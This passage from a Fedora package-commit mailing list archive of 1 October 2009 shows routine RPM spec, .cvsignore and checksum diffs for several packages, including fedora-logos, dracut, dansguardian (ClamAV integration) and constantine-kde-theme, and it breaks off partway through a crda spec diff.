 %defattr(-, root, root, -)
 %doc COPYING
 %config(noreplace) %{_sysconfdir}/favicon.png
-%{_datadir}/firstboot/themes/fedora-leonidas/
+%{_datadir}/firstboot/themes/fedora-constantine/
 %{_datadir}/plymouth/themes/charge/
 %{_datadir}/kde-settings/kde-profile/default/share/icons/Fedora-KDE/*/places/*
 %{_kde4_appsdir}/ksplash/Themes/Leonidas/2048x1536/logo.png
@@ -177,6 +177,9 @@ fi
 # end i386 bits
 
 %changelog
+* Thu Oct  1 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.0.0-1
+- Update to 12.0.0, F12 art (except KDE)
+
 * Fri Sep  4 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 11.0.7-1
 - Update to 11.0.7, fix license tag, description
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/devel/sources,v
retrieving revision 1.101
retrieving revision 1.102
diff -u -p -r1.101 -r1.102
--- sources	4 Sep 2009 19:58:14 -0000	1.101
+++ sources	1 Oct 2009 17:25:50 -0000	1.102
@@ -1 +1 @@
-46f5981c3c8eb412b2d6c7b94bd6618d  fedora-logos-11.0.7.tar.bz2
+0160ab00079b8f0a5cfe15f29577cdfa  fedora-logos-12.0.0.tar.bz2



From spot at fedoraproject.org  Thu Oct  1 17:25:50 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Thu,  1 Oct 2009 17:25:50 +0000 (UTC)
Subject: rpms/fedora-logos/F-12 .cvsignore, 1.87, 1.88 fedora-logos.spec,
	1.131, 1.132 sources, 1.101, 1.102
Message-ID: <20091001172550.9815711C00C1@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/fedora-logos/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22641/F-12

Modified Files:
	.cvsignore fedora-logos.spec sources 
Log Message:
12.0.0


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/F-12/.cvsignore,v
retrieving revision 1.87
retrieving revision 1.88
diff -u -p -r1.87 -r1.88
--- .cvsignore	4 Sep 2009 19:58:13 -0000	1.87
+++ .cvsignore	1 Oct 2009 17:25:50 -0000	1.88
@@ -1 +1 @@
-fedora-logos-11.0.7.tar.bz2
+fedora-logos-12.0.0.tar.bz2


Index: fedora-logos.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/F-12/fedora-logos.spec,v
retrieving revision 1.131
retrieving revision 1.132
diff -u -p -r1.131 -r1.132
--- fedora-logos.spec	4 Sep 2009 19:58:14 -0000	1.131
+++ fedora-logos.spec	1 Oct 2009 17:25:50 -0000	1.132
@@ -1,6 +1,6 @@
 Name: fedora-logos
 Summary: Fedora-related icons and pictures
-Version: 11.0.7
+Version: 12.0.0
 Release: 1%{?dist}
 Group: System Environment/Base
 URL: http://git.fedorahosted.org/git/fedora-logos.git/
@@ -46,9 +46,9 @@ mkdir -p $RPM_BUILD_ROOT/boot/grub
 install -p -m 644 -D bootloader/splash.xpm.gz $RPM_BUILD_ROOT/boot/grub/splash.xpm.gz
 # end i386 bits
 
-mkdir -p $RPM_BUILD_ROOT%{_datadir}/firstboot/themes/fedora-leonidas
+mkdir -p $RPM_BUILD_ROOT%{_datadir}/firstboot/themes/fedora-constantine
 for i in firstboot/* ; do
-  install -p -m 644 $i $RPM_BUILD_ROOT%{_datadir}/firstboot/themes/fedora-leonidas
+  install -p -m 644 $i $RPM_BUILD_ROOT%{_datadir}/firstboot/themes/fedora-constantine
 done
 
 mkdir -p $RPM_BUILD_ROOT%{_datadir}/pixmaps/splash
@@ -129,7 +129,7 @@ fi
 %defattr(-, root, root, -)
 %doc COPYING
 %config(noreplace) %{_sysconfdir}/favicon.png
-%{_datadir}/firstboot/themes/fedora-leonidas/
+%{_datadir}/firstboot/themes/fedora-constantine/
 %{_datadir}/plymouth/themes/charge/
 %{_datadir}/kde-settings/kde-profile/default/share/icons/Fedora-KDE/*/places/*
 %{_kde4_appsdir}/ksplash/Themes/Leonidas/2048x1536/logo.png
@@ -177,6 +177,9 @@ fi
 # end i386 bits
 
 %changelog
+* Thu Oct  1 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.0.0-1
+- Update to 12.0.0, F12 art (except KDE)
+
 * Fri Sep  4 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 11.0.7-1
 - Update to 11.0.7, fix license tag, description
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/F-12/sources,v
retrieving revision 1.101
retrieving revision 1.102
diff -u -p -r1.101 -r1.102
--- sources	4 Sep 2009 19:58:14 -0000	1.101
+++ sources	1 Oct 2009 17:25:50 -0000	1.102
@@ -1 +1 @@
-46f5981c3c8eb412b2d6c7b94bd6618d  fedora-logos-11.0.7.tar.bz2
+0160ab00079b8f0a5cfe15f29577cdfa  fedora-logos-12.0.0.tar.bz2



From lmacken at fedoraproject.org  Thu Oct  1 17:41:21 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Thu,  1 Oct 2009 17:41:21 +0000 (UTC)
Subject: rpms/python-tw-forms/F-11 .cvsignore, 1.3, 1.4 python-tw-forms.spec,
	1.4, 1.5 sources, 1.3, 1.4
Message-ID: <20091001174121.6B5B411C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-tw-forms/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24580

Modified Files:
	.cvsignore python-tw-forms.spec sources 
Log Message:
0.9.7.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	23 Oct 2008 16:25:19 -0000	1.3
+++ .cvsignore	1 Oct 2009 17:41:21 -0000	1.4
@@ -1 +1 @@
-tw.forms-0.9.2.tar.gz
+tw.forms-0.9.7.2.tar.gz


Index: python-tw-forms.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/F-11/python-tw-forms.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- python-tw-forms.spec	26 Feb 2009 23:52:46 -0000	1.4
+++ python-tw-forms.spec	1 Oct 2009 17:41:21 -0000	1.5
@@ -3,8 +3,8 @@
 %define srcname tw.forms
 
 Name:           python-tw-forms
-Version:        0.9.2
-Release:        3%{?dist}
+Version:        0.9.7.2
+Release:        1%{?dist}
 Summary:        Web Widgets for building and validating forms in ToscaWidgets
 Group:          Development/Languages
 # The javascript for the calendar widget is licensed under LGPLv2.1+
@@ -16,7 +16,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildArch:      noarch
 BuildRequires:  python-devel
 BuildRequires:  python-setuptools
-Requires:       python-toscawidgets
+Requires:       python-toscawidgets >= 0.9.6
 Requires:       python-formencode >= 1.0.1
 
 %description
@@ -49,6 +49,18 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Aug 12 2009 Luke Macken <lmacken at redhat.com> - 0.9.7.2-1
+- 0.9.7.2
+
+* Wed Jun 10 2009 Luke Macken <lmacken at redhat.com> - 0.9.6-2
+- Add a versioned ToscaWidgets requirement
+
+* Thu Jun 04 2009 Luke Macken <lmacken at redhat.com> - 0.9.6-1
+- Update to 0.9.6
+
+* Mon Jun 01 2009 Luke Macken <lmacken at redhat.com> - 0.9.3-1
+- Update to 0.9.3
+
 * Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.2-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	23 Oct 2008 16:25:19 -0000	1.3
+++ sources	1 Oct 2009 17:41:21 -0000	1.4
@@ -1 +1 @@
-08d4a7968badb0ede8a1260a1e73c878  tw.forms-0.9.2.tar.gz
+6a12e14d3d27de11c95567658b6ee6c2  tw.forms-0.9.7.2.tar.gz



From lmacken at fedoraproject.org  Thu Oct  1 17:45:38 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Thu,  1 Oct 2009 17:45:38 +0000 (UTC)
Subject: rpms/python-tw-forms/EL-5 .cvsignore, 1.2, 1.3 python-tw-forms.spec,
	1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091001174538.CE66511C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-tw-forms/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25203

Modified Files:
	.cvsignore python-tw-forms.spec sources 
Log Message:
0.9.7.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/EL-5/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	5 Dec 2008 20:00:11 -0000	1.2
+++ .cvsignore	1 Oct 2009 17:45:38 -0000	1.3
@@ -1 +1 @@
-tw.forms-0.9.2.tar.gz
+tw.forms-0.9.7.2.tar.gz


Index: python-tw-forms.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/EL-5/python-tw-forms.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- python-tw-forms.spec	5 Dec 2008 20:12:10 -0000	1.1
+++ python-tw-forms.spec	1 Oct 2009 17:45:38 -0000	1.2
@@ -3,8 +3,8 @@
 %define srcname tw.forms
 
 Name:           python-tw-forms
-Version:        0.9.2
-Release:        2%{?dist}
+Version:        0.9.7.2
+Release:        1%{?dist}
 Summary:        Web Widgets for building and validating forms in ToscaWidgets
 Group:          Development/Languages
 # The javascript for the calendar widget is licensed under LGPLv2.1+
@@ -16,7 +16,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildArch:      noarch
 BuildRequires:  python-devel
 BuildRequires:  python-setuptools
-Requires:       python-toscawidgets
+Requires:       python-toscawidgets >= 0.9.6
 Requires:       python-formencode >= 1.0.1
 
 %description
@@ -49,6 +49,21 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Aug 12 2009 Luke Macken <lmacken at redhat.com> - 0.9.7.2-1
+- 0.9.7.2
+
+* Wed Jun 10 2009 Luke Macken <lmacken at redhat.com> - 0.9.6-2
+- Add a versioned ToscaWidgets requirement
+
+* Thu Jun 04 2009 Luke Macken <lmacken at redhat.com> - 0.9.6-1
+- Update to 0.9.6
+
+* Mon Jun 01 2009 Luke Macken <lmacken at redhat.com> - 0.9.3-1
+- Update to 0.9.3
+
+* Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.2-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Sat Nov 29 2008 Ignacio Vazquez-Abrams <ivazqueznet+rpm at gmail.com> - 0.9.2-2
 - Rebuild for Python 2.6
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/EL-5/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	5 Dec 2008 20:00:11 -0000	1.2
+++ sources	1 Oct 2009 17:45:38 -0000	1.3
@@ -1 +1 @@
-08d4a7968badb0ede8a1260a1e73c878  tw.forms-0.9.2.tar.gz
+6a12e14d3d27de11c95567658b6ee6c2  tw.forms-0.9.7.2.tar.gz



From harald at fedoraproject.org  Thu Oct  1 18:03:54 2009
From: harald at fedoraproject.org (Harald Hoyer)
Date: Thu,  1 Oct 2009 18:03:54 +0000 (UTC)
Subject: rpms/dracut/F-12 .cvsignore, 1.21, 1.22 dracut.spec, 1.36,
	1.37 sources, 1.22, 1.23
Message-ID: <20091001180354.7B99811C00C1@cvs1.fedora.phx.redhat.com>

Author: harald

Update of /cvs/pkgs/rpms/dracut/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28798

Modified Files:
	.cvsignore dracut.spec sources 
Log Message:
* Thu Oct 01 2009 Harald Hoyer <harald at redhat.com> 002-11
- fixed dracut-gencmdline for root=UUID or LABEL



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/F-12/.cvsignore,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- .cvsignore	1 Oct 2009 17:04:54 -0000	1.21
+++ .cvsignore	1 Oct 2009 18:03:54 -0000	1.22
@@ -1 +1 @@
-dracut-002-95b4875c.tar.bz2
+dracut-002-a8a3ca51.tar.bz2


Index: dracut.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/F-12/dracut.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- dracut.spec	1 Oct 2009 17:04:55 -0000	1.36
+++ dracut.spec	1 Oct 2009 18:03:54 -0000	1.37
@@ -1,4 +1,4 @@
-%define gittag 95b4875c
+%define gittag a8a3ca51
 %if 0%{?fedora} < 12
 %define with_switch_root 1
 %else
@@ -14,7 +14,7 @@
 
 Name: dracut
 Version: 002
-Release: 10%{?rdist}
+Release: 11%{?rdist}
 Summary: Initramfs generator using udev
 Group: System Environment/Base		
 License: GPLv2+	
@@ -184,6 +184,9 @@ rm -rf $RPM_BUILD_ROOT
 %dir /var/lib/dracut/overlay
 
 %changelog
+* Thu Oct 01 2009 Harald Hoyer <harald at redhat.com> 002-11
+- fixed dracut-gencmdline for root=UUID or LABEL
+
 * Thu Oct 01 2009 Harald Hoyer <harald at redhat.com> 002-10
 - do not destroy assembled raid arrays if mdadm.conf present
 - mount /dev/shm 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/F-12/sources,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- sources	1 Oct 2009 17:04:55 -0000	1.22
+++ sources	1 Oct 2009 18:03:54 -0000	1.23
@@ -1 +1 @@
-28b7980acb019a0c4095058552e6c3e1  dracut-002-95b4875c.tar.bz2
+3747d8c10829f25d2109bbc606cfe0cd  dracut-002-a8a3ca51.tar.bz2



From rdieter at fedoraproject.org  Thu Oct  1 18:04:20 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  1 Oct 2009 18:04:20 +0000 (UTC)
Subject: rpms/constantine-kde-theme/devel .cvsignore, 1.3,
	1.4 constantine-kde-theme.spec, 1.6, 1.7 sources, 1.3, 1.4
Message-ID: <20091001180420.1354911C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/constantine-kde-theme/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28919/devel

Modified Files:
	.cvsignore constantine-kde-theme.spec sources 
Log Message:
* Thu Oct 01 2009 Rex Dieter <rdieter at fedoraproject.org> 12.0.0-1
- fix deps, depend only on (newer) constantine-backgrounds-kde



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/constantine-kde-theme/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	8 Sep 2009 16:20:58 -0000	1.3
+++ .cvsignore	1 Oct 2009 18:04:19 -0000	1.4
@@ -1 +1 @@
-constantine-kde-theme-11.90.3.tar.bz2
+constantine-kde-theme-12.0.0.tar.bz2


Index: constantine-kde-theme.spec
===================================================================
RCS file: /cvs/pkgs/rpms/constantine-kde-theme/devel/constantine-kde-theme.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- constantine-kde-theme.spec	25 Sep 2009 15:00:51 -0000	1.6
+++ constantine-kde-theme.spec	1 Oct 2009 18:04:19 -0000	1.7
@@ -1,6 +1,6 @@
 Name:		constantine-kde-theme
-Version:	11.90.3
-Release:	4%{?dist}
+Version:	12.0.0
+Release:	1%{?dist}
 Summary:	Constantine KDE Theme
 
 Group:		User Interface/Desktops
@@ -14,9 +14,7 @@ BuildArch:	noarch
 BuildRequires:	kde-filesystem
 Requires:	kde-filesystem
 Requires:	system-logos
-# TODO: correct Constantine Requires?
-Requires:	constantine-backgrounds >= 11.90.2-1
-Requires:	constantine-backgrounds-kde >= 11.90.2-1
+Requires:	constantine-backgrounds-kde >= 12.0.0
 
 Provides:	constantine-kdm-theme = %{version}-%{release}
 Provides:	constantine-ksplash-theme = %{version}-%{release}
@@ -35,7 +33,9 @@ Provides:   system-ksplash-theme = %{ver
 %endif
 
 %description
-This is Constantine KDE Theme Artwork containing KSplash theme and KDM theme.
+This is Constantine KDE Theme Artwork containing
+KDM, KSplash, and wallpaper theme.
+
 
 %prep
 %setup -q
@@ -109,6 +109,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu Oct 01 2009 Rex Dieter <rdieter at fedoraproject.org> 12.0.0-1
+- fix deps, depend only on (newer) constantine-backgrounds-kde
+
 * Fri Sep 25 2009 Than Ngo <than at redhat.com> - 11.90.3-4
 - rhel cleanup
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/constantine-kde-theme/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	8 Sep 2009 16:20:59 -0000	1.3
+++ sources	1 Oct 2009 18:04:19 -0000	1.4
@@ -1 +1 @@
-123ab7ab63496107cd6819cdd71971a6  constantine-kde-theme-11.90.3.tar.bz2
+f624baafd0ba09667af55cd4c77af421  constantine-kde-theme-12.0.0.tar.bz2



From rdieter at fedoraproject.org  Thu Oct  1 18:04:20 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  1 Oct 2009 18:04:20 +0000 (UTC)
Subject: rpms/constantine-kde-theme/F-12 .cvsignore, 1.3,
	1.4 constantine-kde-theme.spec, 1.6, 1.7 sources, 1.3, 1.4
Message-ID: <20091001180420.5DF3E11C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/constantine-kde-theme/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28919/F-12

Modified Files:
	.cvsignore constantine-kde-theme.spec sources 
Log Message:
* Thu Oct 01 2009 Rex Dieter <rdieter at fedoraproject.org> 12.0.0-1
- fix deps, depend only on (newer) constantine-backgrounds-kde



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/constantine-kde-theme/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	8 Sep 2009 16:20:58 -0000	1.3
+++ .cvsignore	1 Oct 2009 18:04:20 -0000	1.4
@@ -1 +1 @@
-constantine-kde-theme-11.90.3.tar.bz2
+constantine-kde-theme-12.0.0.tar.bz2


Index: constantine-kde-theme.spec
===================================================================
RCS file: /cvs/pkgs/rpms/constantine-kde-theme/F-12/constantine-kde-theme.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- constantine-kde-theme.spec	25 Sep 2009 15:00:51 -0000	1.6
+++ constantine-kde-theme.spec	1 Oct 2009 18:04:20 -0000	1.7
@@ -1,6 +1,6 @@
 Name:		constantine-kde-theme
-Version:	11.90.3
-Release:	4%{?dist}
+Version:	12.0.0
+Release:	1%{?dist}
 Summary:	Constantine KDE Theme
 
 Group:		User Interface/Desktops
@@ -14,9 +14,7 @@ BuildArch:	noarch
 BuildRequires:	kde-filesystem
 Requires:	kde-filesystem
 Requires:	system-logos
-# TODO: correct Constantine Requires?
-Requires:	constantine-backgrounds >= 11.90.2-1
-Requires:	constantine-backgrounds-kde >= 11.90.2-1
+Requires:	constantine-backgrounds-kde >= 12.0.0
 
 Provides:	constantine-kdm-theme = %{version}-%{release}
 Provides:	constantine-ksplash-theme = %{version}-%{release}
@@ -35,7 +33,9 @@ Provides:   system-ksplash-theme = %{ver
 %endif
 
 %description
-This is Constantine KDE Theme Artwork containing KSplash theme and KDM theme.
+This is Constantine KDE Theme Artwork containing
+KDM, KSplash, and wallpaper theme.
+
 
 %prep
 %setup -q
@@ -109,6 +109,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu Oct 01 2009 Rex Dieter <rdieter at fedoraproject.org> 12.0.0-1
+- fix deps, depend only on (newer) constantine-backgrounds-kde
+
 * Fri Sep 25 2009 Than Ngo <than at redhat.com> - 11.90.3-4
 - rhel cleanup
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/constantine-kde-theme/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	8 Sep 2009 16:20:59 -0000	1.3
+++ sources	1 Oct 2009 18:04:20 -0000	1.4
@@ -1 +1 @@
-123ab7ab63496107cd6819cdd71971a6  constantine-kde-theme-11.90.3.tar.bz2
+f624baafd0ba09667af55cd4c77af421  constantine-kde-theme-12.0.0.tar.bz2



From steve at fedoraproject.org  Thu Oct  1 18:04:26 2009
From: steve at fedoraproject.org (Steven Pritchard)
Date: Thu,  1 Oct 2009 18:04:26 +0000 (UTC)
Subject: rpms/dansguardian/devel dansguardian-clamd.conf, NONE,
	1.1 dansguardian-clamd.init, NONE,
	1.1 dansguardian-clamd.sysconfig, NONE, 1.1 dansguardian.spec,
	1.3, 1.4
Message-ID: <20091001180426.A774811C00C1@cvs1.fedora.phx.redhat.com>

Author: steve

Update of /cvs/pkgs/rpms/dansguardian/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28987

Modified Files:
	dansguardian.spec 
Added Files:
	dansguardian-clamd.conf dansguardian-clamd.init 
	dansguardian-clamd.sysconfig 
Log Message:
Add Fedora clamav package bits to properly integrate.


--- NEW FILE dansguardian-clamd.conf ---
# Use system logger.
LogSyslog yes

# Specify the type of syslog messages - please refer to 'man syslog'
# for facility names.
LogFacility LOG_DAEMON

# This option allows you to save a process identifier of the listening
# daemon (main thread).
PidFile /var/run/dansguardian/clamd.pid

# Remove stale socket after unclean shutdown.
# Default: disabled
FixStaleSocket yes

# Run as a selected user (clamd must be started by root).
User dansguardian

# Path to a local socket file the daemon will listen on.
LocalSocket /var/run/dansguardian/clamd.sock


--- NEW FILE dansguardian-clamd.init ---
#!/bin/bash
#
# chkconfig: - 91 9
# description: The clamd server running for dansguardian

CLAMD_SERVICE=dansguardian
. /usr/share/clamav/clamd-wrapper


--- NEW FILE dansguardian-clamd.sysconfig ---
CLAMD_CONFIGFILE=/etc/clamd.d/dansguardian.conf
CLAMD_SOCKET=/var/run/dansguardian/clamd.sock
CLAMD_OPTIONS=


Index: dansguardian.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dansguardian/devel/dansguardian.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- dansguardian.spec	23 Sep 2009 18:28:57 -0000	1.3
+++ dansguardian.spec	1 Oct 2009 18:04:26 -0000	1.4
@@ -1,6 +1,6 @@
 Name:           dansguardian
 Version:        2.10.1.1
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Content filtering web proxy
 Summary(de):    Contentfilter-Proxy
 
@@ -16,6 +16,10 @@ Source0:        http://dansguardian.org/
 Source1:        dansguardian.init
 Source2:        dansguardian.httpd
 Source3:        dansguardian.logrotate
+# ClamAV integration
+Source4:        dansguardian-clamd.conf
+Source5:        dansguardian-clamd.init
+Source6:        dansguardian-clamd.sysconfig
 # This patch removes the upstream restrictions on the GPLv2+ source
 Patch0:         dansguardian-copyright-notice.patch
 # Fixes some compilation errors with gcc 4.4
@@ -32,6 +36,7 @@ Requires(pre):   shadow-utils
 Requires(post):  chkconfig
 Requires(preun): chkconfig
 Requires(preun): initscripts
+Requires:       clamav-server
 
 
 %description
@@ -106,6 +111,15 @@ rm -rf $RPM_BUILD_ROOT%{_datadir}/doc/%{
 # create the log dir
 install -dm 755 $RPM_BUILD_ROOT%{_localstatedir}/log/%{name}
 
+# for clamav integration
+install -dm 700 $RPM_BUILD_ROOT%{_localstatedir}/run/%{name}
+touch $RPM_BUILD_ROOT%{_localstatedir}/run/%{name}/clamd.sock
+( cd $RPM_BUILD_ROOT%{_sbindir} && ln -s clamd clamd.%{name} )
+install -m755 %{SOURCE5} $RPM_BUILD_ROOT%{_initrddir}/clamd.%{name}
+install -dm755 $RPM_BUILD_ROOT%{_sysconfdir}/clamd.d
+install -m644 %{SOURCE4} $RPM_BUILD_ROOT%{_sysconfdir}/clamd.d/%{name}.conf
+install -dm755 $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig
+install -m644 %{SOURCE6} $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig/clamd.%{name}
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -128,6 +142,7 @@ if [ "$1" -gt 1 ]?; then
 fi
 
 %post
+/sbin/chkconfig --add clamd.%{name}
 /sbin/chkconfig --add %{name}
 
 
@@ -135,11 +150,14 @@ fi
 if [ $1 = 0 ] ; then
     /sbin/service %{name} stop >/dev/null 2>&1
     /sbin/chkconfig --del %{name}
+    /sbin/service clamd.%{name} stop >/dev/null 2>&1
+    /sbin/chkconfig --del clamd.%{name}
 fi
 
 
 %postun
 if [ "$1" -ge "1" ] ; then
+    /sbin/service clamd.%{name} condrestart >/dev/null 2>&1 || :
     /sbin/service %{name} condrestart >/dev/null 2>&1 || :
 fi
 
@@ -166,9 +184,18 @@ fi
 %config(noreplace) %{_sysconfdir}/logrotate.d/%{name}
 %config(noreplace) %{_sysconfdir}/httpd/conf.d/%{name}.conf
 %attr(755,%{name},%{name}) %dir %{_localstatedir}/log/%{name}
+%attr(700,%{name},%{name}) %dir %{_localstatedir}/run/%{name}
+%{_sbindir}/clamd.%{name}
+%{_initrddir}/clamd.%{name}
+%ghost %{_localstatedir}/run/%{name}/clamd.sock
+%config(noreplace) %{_sysconfdir}/clamd.d/%{name}.conf
+%config(noreplace) %{_sysconfdir}/sysconfig/clamd.%{name}
 
 
 %changelog
+* Wed Sep 30 2009 Steven Pritchard <steve at kspei.com> - 2.10.1.1-4
+- Add Fedora clamav package bits to properly integrate
+
 * Thu Sep 10 2009 Felix Kaechele <heffer at fedoraproject.org> - 2.10.1.1-3
 - fixes for Bugzilla 515159, 515160, 515161, 515363, 519642, 519976, 520440
 - lists now reside in /etc/dansguardian/lists



From notting at fedoraproject.org  Thu Oct  1 18:06:42 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Thu,  1 Oct 2009 18:06:42 +0000 (UTC)
Subject: rpms/generic-logos/F-12 .cvsignore, 1.9, 1.10 generic-logos.spec,
	1.12, 1.13 sources, 1.10, 1.11
Message-ID: <20091001180642.DF38711C00C1@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/extras/rpms/generic-logos/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30167

Modified Files:
	.cvsignore generic-logos.spec sources 
Log Message:
12.0


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/generic-logos/F-12/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	12 May 2009 18:37:58 -0000	1.9
+++ .cvsignore	1 Oct 2009 18:06:42 -0000	1.10
@@ -1 +1 @@
-generic-logos-11.0.1.tar.bz2
+generic-logos-12.0.tar.bz2


Index: generic-logos.spec
===================================================================
RCS file: /cvs/extras/rpms/generic-logos/F-12/generic-logos.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- generic-logos.spec	24 Jul 2009 23:50:33 -0000	1.12
+++ generic-logos.spec	1 Oct 2009 18:06:42 -0000	1.13
@@ -1,7 +1,7 @@
 Name: generic-logos
 Summary: Icons and pictures
-Version: 11.0.1
-Release: 2%{?dist}
+Version: 12.0
+Release: 1%{?dist}
 Group: System Environment/Base
 Source0: generic-logos-%{version}.tar.bz2
 License: GPLv2 and LGPL
@@ -80,8 +80,8 @@ rm -rf $RPM_BUILD_ROOT
 # end i386 bits
 
 %changelog
-* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 11.0.1-2
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Thu Oct  1 2009 Bill Nottingham <notting at redhat.com> - 12.0-1
+- update for F12 (<duffy at redhat.com>)
 
 * Tue May 12 2009 Bill Nottingham <notting at redhat.com> - 11.0.1-1
 - Add new plymouth artwork (#500239)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/generic-logos/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	12 May 2009 18:37:58 -0000	1.10
+++ sources	1 Oct 2009 18:06:42 -0000	1.11
@@ -1 +1 @@
-8842fccabf09874110de7a7c769a2974  generic-logos-11.0.1.tar.bz2
+6fd16c93945a0e195fe1f03ddf3d06a7  generic-logos-12.0.tar.bz2



From linville at fedoraproject.org  Thu Oct  1 18:07:48 2009
From: linville at fedoraproject.org (John W. Linville)
Date: Thu,  1 Oct 2009 18:07:48 +0000 (UTC)
Subject: rpms/crda/devel crda.spec,1.21,1.22
Message-ID: <20091001180748.2823D11C00C1@cvs1.fedora.phx.redhat.com>

Author: linville

Update of /cvs/pkgs/rpms/crda/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30356

Modified Files:
	crda.spec 
Log Message:
Move regdb to /lib/crda to facilitate /usr mounted over wireless network


Index: crda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/crda/devel/crda.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- crda.spec	9 Sep 2009 13:57:03 -0000	1.21
+++ crda.spec	1 Oct 2009 18:07:48 -0000	1.22
@@ -3,7 +3,7 @@
 
 Name:           crda
